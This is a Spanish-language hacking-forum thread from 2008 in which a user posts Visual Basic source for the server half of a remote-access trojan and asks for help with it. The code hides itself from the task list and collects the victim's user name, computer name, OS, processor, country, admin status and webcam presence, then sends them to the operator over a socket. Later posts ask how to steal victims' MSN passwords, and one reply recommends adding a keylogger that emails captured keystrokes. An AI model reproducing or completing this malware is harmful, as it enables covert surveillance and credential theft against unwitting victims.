elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Ayuda Con Cliente y Servidor en visual basic
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda Con Cliente y Servidor en visual basic  (Leído 8,634 veces)
maxinitto

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Ayuda Con Cliente y Servidor en visual basic
« en: 20 Diciembre 2008, 08:22 am »

Muy buenas a todo, resulta que estoy creando un cliente y un servidor en visual basic resulta que el cliente esta bien pero el code del servidor me tira este error y no se xk causa o pongo aqui abajo el code del servidor aver si me podeis ayudar....

Código:
Dim victima As String, name1 As String, so As String, ip As String, port As String
Dim webcam As String, pais As String, tor As String, nombrepc As String, procesador As String
Dim admin As Boolean
Private Sub form_load()
On Error Resume Next
Open Environ("windir") & "\KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendrá lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName") 'esta variable contendrá el nombre del pc
name1 = Environ("UserName") 'el nombre de usuario
so = yo.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname") 'el sistema operativo
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 2300 'lo mismo, con el edit server lo editan….
procesador = yo.regread("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString") 'júntenlo, es k no cabía, es para el procesador....
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecución salimos, para no tener 2 corriendo a la vez
Me.Visible = False 'para que no se vea el form….
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible,
_0, 0, 320, 240, Picture1.hWnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el país
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&)) 'para saber si somos admins o no
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la función para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque falló la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'función para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function
Private Sub Timer1_Timer()
If WS.State <> 7 Then 'si no estamos conectados
WS.Close 'cerramos
End If
End Sub
Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos
WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
WS.GetData datos 'los recibimos
data = Split(datos, "|")
Select Case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "\KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambió
Close #1
End Select
End Sub


el error me lo tira aqui....

Código:
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible,
_0, 0, 320, 240, Picture1.hWnd, 0)

llevo pokisimo en vb y no consigo sacar este error, tb me estoy leyendo un libro de 140 pags para ponerme al dia xDD aver si me pueden ayudar gracias de antemano



En línea

seba123neo
Moderador
***
Desconectado Desconectado

Mensajes: 3.621



Ver Perfil WWW
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #1 en: 20 Diciembre 2008, 17:30 pm »

imposible responder...ante la imposibilidad de poder leer correctamente el codigo  :¬¬



En línea

maxinitto

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #2 en: 20 Diciembre 2008, 18:53 pm »

aaaaaaa es igual ya lo resolvi , gracias de todos modos pero tengo otra duda

quiero que en mi programa cliente/servidor me descifre las password del msn de la persona que tenga en mi cliente/servidor, (ablo asi xk no se si sepuede decir esa palabra o no pero weno) pero el problema es que tengo un commandbutton con el caption "obtener pass de msn" entonces yo quiero que cnd le de click me ponga el msn y la pass en un text box pero no se hacerlo tengo poca experiencia pero es el primer cliente/servidor que creo aver si me pueden orientar un poco,


salu2 a todos y gracias

tengo ya los modulos y herramientas necesarios pero no se situar el codigo de su debida forma para que funcione, lo tengo puesto pero solo me da mis pass no la de las victimas
« Última modificación: 20 Diciembre 2008, 18:54 pm por maxinitto » En línea

yofoxD

Desconectado Desconectado

Mensajes: 169


Ver Perfil
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #3 en: 21 Diciembre 2008, 01:18 am »

aprende a caminar antes de correr...
En línea

maxinitto

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #4 en: 21 Diciembre 2008, 03:14 am »

no se que pasa en este foro que cada vez que posteo una duda, siempre contestan con mensajes inutiles buagg ya me buscare la vida en otro lao gracias por vuestra no ayuda
En línea

yofoxD

Desconectado Desconectado

Mensajes: 169


Ver Perfil
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #5 en: 21 Diciembre 2008, 03:47 am »

lloron :-X
En línea

maxinitto

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #6 en: 21 Diciembre 2008, 15:30 pm »

anda que perder el tiempo y llenar el foro de mensajes inutiles como los de "lloron" se nota que estas aburrio xDDDDD
En línea

byway

Desconectado Desconectado

Mensajes: 181


^^,


Ver Perfil
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #7 en: 21 Diciembre 2008, 17:20 pm »

aaaaaaa es igual ya lo resolvi , gracias de todos modos pero tengo otra duda

quiero que en mi programa cliente/servidor me descifre las password del msn de la persona que tenga en mi cliente/servidor, (ablo asi xk no se si sepuede decir esa palabra o no pero weno) pero el problema es que tengo un commandbutton con el caption "obtener pass de msn" entonces yo quiero que cnd le de click me ponga el msn y la pass en un text box pero no se hacerlo tengo poca experiencia pero es el primer cliente/servidor que creo aver si me pueden orientar un poco,


salu2 a todos y gracias

tengo ya los modulos y herramientas necesarios pero no se situar el codigo de su debida forma para que funcione, lo tengo puesto pero solo me da mis pass no la de las victimas

a lejos se ve que no hisiste nada ... mencionas tener un boton con un caption..bla bla bla... y no sabes nada de nada jajajaja

los modulos para coger pass van en el servidor (si el troyano es de conexion inversa) .. si no sabes eso no entiendo como hisiste pa juntar todo ese code sin saber lo basico... >:( >:( >:( >:(
En línea

maxinitto

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #8 en: 22 Diciembre 2008, 00:25 am »

que quieres ver una foto? y le la comes ? jajajajaj si llevo ya bastante exo pero esto de las pass no me sale tio
En línea

visualfree

Desconectado Desconectado

Mensajes: 201


Ver Perfil
Re: Ayuda Con Cliente y Servidor en visual basic
« Respuesta #9 en: 22 Diciembre 2008, 02:12 am »

Te recomiendo que a tu servidor le incorpores codigo q capture teclas y que cada cierto tiempo te lo envie a tu correo .... , me refiero a eso que rpegutas de sacar la clave del msn , suerte..
En línea

Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con Cliente-Servidor
Programación Visual Basic
CGST 1 1,909 Último mensaje 17 Febrero 2011, 05:07 am
por BlackZeroX
AYUDA CON SOCKETS (CLIENTE/SERVIDOR)
Programación C/C++
ApOkAlizE 4 4,619 Último mensaje 29 Febrero 2012, 22:56 pm
por avmiitxe
Cliente / Servidor con sockets en Visual c++
Programación General
rabbar 0 2,012 Último mensaje 27 Noviembre 2013, 18:15 pm
por rabbar
Cliente / Servidor con sockets en Visual c++
Programación C/C++
rabbar 2 4,249 Último mensaje 29 Noviembre 2013, 03:55 am
por Vaagish
Cargar archivos a un servidor web en Visual Basic...
.NET (C#, VB.NET, ASP)
Felipe92 0 2,420 Último mensaje 28 Octubre 2015, 01:02 am
por Felipe92
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines